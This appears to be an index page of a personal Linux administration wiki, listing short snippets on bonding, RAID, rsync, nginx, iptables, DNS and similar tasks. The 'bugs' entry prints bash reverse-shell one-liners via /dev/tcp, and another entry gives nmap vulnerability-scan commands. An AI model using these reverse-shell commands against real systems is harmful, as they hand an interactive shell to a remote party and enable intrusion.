wiki.janforman.com linux

linux:bond

2018-02-02T22:24:50+00:00

Show Status cat /proc/net/bonding/bond0 Number Mode Description 0 balance-rr Transmits packets through network interface cards in sequential order. Packets are transmitted in a loop that begins with the first available network interface card in the bond and end with the last available network interface card in the bond. All subsequent loops then start with the first available network interface card. Mode 0 offers fault tolerance and balances the load across all network interface cards in …

linux:bugs

2021-01-26T22:55:52+00:00

github advisories SUDO CVE-2021-3156 Show CPU bugs on Linux cat /sys/devices/system/cpu/vulnerabilities/* Run BASH and connect outside You need to compiled bash with --enable-net-redirections option. /bin/bash -c '/bin/bash -i > /dev/tcp/127.0.0.1/8181 0<&1 2>&1&' /bin/bash -i >& /dev/tcp/127.0.0.1/8181 0>&1

linux:checkrest

2016-08-07T19:38:53+00:00

checkrest() { URL=$1; STATUS=$(curl --write-out "%{http_code}" --silent --output /dev/null "$URL") if [ "$STATUS" != "200" ]; then mailbody="`date` REST Status Fail (HTTP/$STATUS) $URL" && printf "To: to@janforman.com\nFrom: "Robot" \nSubject: Critical Problem - ($STATUS) $URL\n\n$mailbody" |/usr/sbin/sendmail -f from@janforman.com -Sjanforman.com:25 -aufrom@janforman.com -apPASS to@janforman.com fi } checkrest "http://janforman.com/";

linux:chroot

2019-11-27T12:19:34+00:00

Install Ubuntu in chroot mkdir ubuntu cd ubuntu wget http://sg.cdimage.ubuntu.com/ubuntu-base/daily/current/focal-base-arm64.tar.gz tar -xzf *.tar.gz cat /etc/resolv.conf >etc/resolv.conf chroot . apt update apt install locales-all build-essential

linux:commands

2025-09-30T12:00:03+00:00

Force reboot echo 1 > /proc/sys/kernel/sysrq echo b > /proc/sysrq-trigger Scan with NMAP nmap -p 1-65535 -T4 -A -P0 -v hostname/ip Check vulnerabilities nmap -Pn --script vuln hostname/ip Manual IP/GW Configuration ifconfig eth0 10.0.0.1 netmask 255.255.255.0 route add default gw 10.0.0.254

linux:countlines

2016-06-22T15:11:42+00:00

( find ./ -name '*.php' -print0 | xargs -0 cat ) | wc -l

linux:debian

2021-07-27T11:34:15+00:00

export http_proxy=http://user:password@192.168.0.1:3128 Rename ethX /etc/udev/rules.d/70-persistent-net.rules Warning: do not delete interface! otherwise it can appear something like enp3s0 (renamed from systemd) lspci | grep -i eth and remark the numbers at the front of each line. Example: Code: 03:00.0 Ethernet controller: Realtek [...] 04:00.0 Ethernet controller: Realtek [...] Now, edit Code: /etc/udev/rules.d/70-persistent-net.rules and add a KERNELS== parameter to match the addresses …

linux:dns

2017-04-04T11:43:00+00:00

dig janforman.org +dnssec +multi nslookup -debug janforman.org nslookup -type=ns janforman.org nslookup -type=mx janforman.org nslookup -type=soa janforman.org

linux:erasesingleblock

2016-03-02T11:31:30+00:00

LINUX: How to erase single block on HDD This is useful, when you find bad block using SMART disk monitoring. Script overwrites block ID 9454180* on device /dev/sdX* and after this operation HDD controller can reallocate this 512byte block to spare reserved part of disk.

linux:find

2021-01-21T17:00:30+00:00

Windows - Remove thumbs.db Find all files named “thumbs.db” in current directory and delete them. find . -iname "thumbs.db" -delete MacOS - Remove .DS_Store Find all files named “.DS_Store” in current directory and delete them. find . -iname "*.DS_Store" -delete

linux:gentoo

2017-08-08T12:31:07+00:00

Install Oracle JRE place install file into /usr/portage/disfiles $ echo “>=dev-java/oracle-jre-bin-1.8.0.77 Oracle-BCLA-JavaSE”>/etc/portage/package.license $ emerge oracle-jre-bin Update repository emerge --sync Make optimizations CFLAGS="-march=native -O3 -pipe -fforce-addr -fomit-frame-pointer -fexpensive-optimizations -ffast-math -funroll-loops" USE="-X -innodb -berkdb -gtk -mariadb -ipv6" LINGUAS="en cs"

linux:info

2019-10-17T10:26:32+00:00

System Information dmidecode | grep -A3 '^System Information' Show RAID lspci -k|grep -i -A2 raid

linux:initdscript

2015-12-29T20:34:38+00:00

Super simple init.d script #!/bin/bash case "$1" in start) /usr/local/nginx/sbin/nginx ;; stop) killall nginx ;; reconfigure) kill -HUP `cat /usr/local/nginx/logs/nginx.pid` ;; esac

linux:iptables

2017-10-21T22:57:25+00:00

iptables -I INPUT -s 183.60.0.0/16 -j DROP iptables -I INPUT -s 210.211.0.0/16 -j DROP iptables -I INPUT -s 211.143.0.0/16 -j DROP iptables -I INPUT -s 123.151.0.0/16 -j DROP iptables -I INPUT -s 38.122.0.0/16 -j DROP iptables -I INPUT -s 14.17.0.0/16 -j DROP iptables -I INPUT -s 221.228.0.0/16 -j DROP iptables -I INPUT -s 27.248.0.0/16 -j DROP iptables -A wanout -p tcp --dport 135:139 -j DROP iptables -A wanout -p udp --dport 135:139 -j DROP iptables -A wanout -p tcp --dport 445 -j DROP iptab…

linux:ispconfig

2026-03-06T11:33:18+00:00

ISPConfig aws ec2 run-instances \ --instance-type t4g.small \ --image-id ami-0e15cd9cd8e225753 \ --security-groups MySecurityGroup \ --key-name My-key-pair --credit-specification "CpuCredits=standard" AWS Ports TCP 21,22,25,53,80,110,143,443,465,587,993,995,4190,8080,8081,40110:40210

linux:kernel

2016-08-27T13:41:46+00:00

Prevent memory corruption on bad BIOSes memmap=1024K$0 memory_corruption_check=0

linux:mail

2017-07-28T21:45:25+00:00

Postfix with SASL SQL Authorization Edit /etc/sasl2 and insert log_level: 0 Postfix Cleanup mailq postsuper -d ALL

linux:nginx

2021-07-27T15:38:32+00:00

nginx certificate authentification nginx .htaccess converter sample config events { use epoll; multi_accept on; } sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 30; gzip on; gzip_min_length 1100; gzip_comp_level 6; gzip_types text/css application/javascript;

linux:pmap

2016-01-06T19:32:48+00:00

pmap PID

linux:redhat

2023-04-26T11:53:38+00:00

Redhat / Centos on server Rocky Linux / CentOS / Oracle Linux 8 This is a workaround for the `postgresql.service` remaining stuck in status “deactivating”: Create the file `/etc/systemd/system/postgresql.service.d/stop.conf` and put the following contents to it

linux:rsync

2016-06-12T09:42:20+00:00

RSYNC Using Encrypted SSH From rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour -o Compression=no -x" [source_dir] [dest_host:/dest_dir] To rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour -o Compression=no -x" user@:

linux:samba

2025-05-20T11:08:38+00:00

Active Directory Mode Server 2012_R2 (from 4.21.0) supported 100000 users and computers, 100 DC in domain tested IN LXC YOU MUST USE PRIVILEGED CONTAINER AND DNS may be 127.0.0.1 in the end! Insert AD name ad.corp.janforman.com sudo vi /etc/hostname sudo vi /etc/hosts

linux:security

2016-09-08T12:07:12+00:00

Disable Useless SUID and SGID Commands Find find / -path /proc -prune -o -type f $ -perm -4000 -o -perm -2000 $ -exec ls -l {} \; Unset UID chmod u-s /path/to/binary_file Unset GID chmod g-s /path/to/binary_file Find World-Writeable Files

linux:sendstatus

2016-08-03T14:11:44+00:00

Run every 10minutes #export http_proxy=http://10.160.150.250:8080 while [ 1 ] do url="http://janforman.com/" name="router.janforman.com" cores="`cat /proc/cpuinfo | grep -i bogomips | wc -l`" total="`free | awk 'NR==2 {print $2}'`" used="`free | awk 'NR==2 {print $3}'`" totalstorage="`df / -h -k | awk 'NR==2 {print $2}'`" freestorage="`df / -h -k | awk 'NR==2 {print $4}'`" uptime="`cat /proc/uptime | awk '{printf "%.0f\n", $1/3600}'`" load="`cat /proc/loadavg | awk '{print $2}'`" rx="`cat /pro…

linux:softraid

2021-06-10T11:29:12+00:00

Create mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/sda1 /dev/sdb1 /dev/sdc1 --spare-devices=1 /dev/sdd1 Status watch -n 1 'cat /proc/mdstat' mdadm --detail /dev/md0 mdadm -E /dev/sdb2 Manage mdadm --manage /dev/md1 --fail /dev/sdb2 mdadm --manage /dev/md1 --remove /dev/sdb2 mdadm --manage /dev/md1 --add /dev/sdb2 mdadm --grow /dev/md0 --raid-devices=4 // add drive mdadm --grow /dev/md0 --size=max // change drive size

linux:sshd

2020-05-31T22:26:50+00:00

// client side ssh-keygen -t ecdsa -b 384 -C "Enter an optional comment about your key" ssh-copy-id root@destination /etc/ssh/sshd_config RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile %h/.ssh/authorized_keys Check speed time dd if=/dev/zero bs=10240 count=409600 | ssh -p 2222 root@192.168.22.58 'cat > /dev/null'

linux:storagespeed

2025-01-21T14:33:51+00:00

hdparm speed test hdparm -t --direct /dev/sda read test dd if=/dev/sda of=/dev/null bs=1M LINUX: How to measure storage speed Write (10GB File): # dd if=/dev/zero of=erase.bin bs=1M count=10000 Read (10GB File): # dd if=erase.bin of=/dev/null bs=1M count=10000 # rm erase.bin

linux:systemd

2022-02-14T13:14:57+00:00

How to systemd Set systemd log level to error. I don't like my log flooded by nonsense. /etc/systemd/system.conf LogLevel=crit (emerg, alert, crit, err, warning, notice, info, debug) Limit systemd journal by editing /etc/systemd/journald.conf SystemMaxUse=10M

linux:time

2023-04-20T16:30:37+00:00

ChronyC chronyc sources chronyc sourcestats systemctl status chrony /etc/chrony/chrony.conf

linux:top

2016-01-06T18:45:43+00:00

On Linux, the top command gives you several different numbers for memory. Here's what it says about the Hello World example: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 2120 root 20 0 4373m 15m 7152 S 0 0.2 0:00.10 java

linux:windows

2018-07-08T22:04:48+00:00

Run command from Windows prompt Enable linux subsystem in applications and install ubuntu from Windows Store bash -c "uname -a" Run X apps on Windows 10 Install X server on Windows then # export DISPLAY=:0 echo "export DISPLAY=:0.0" >> ~/.bashrc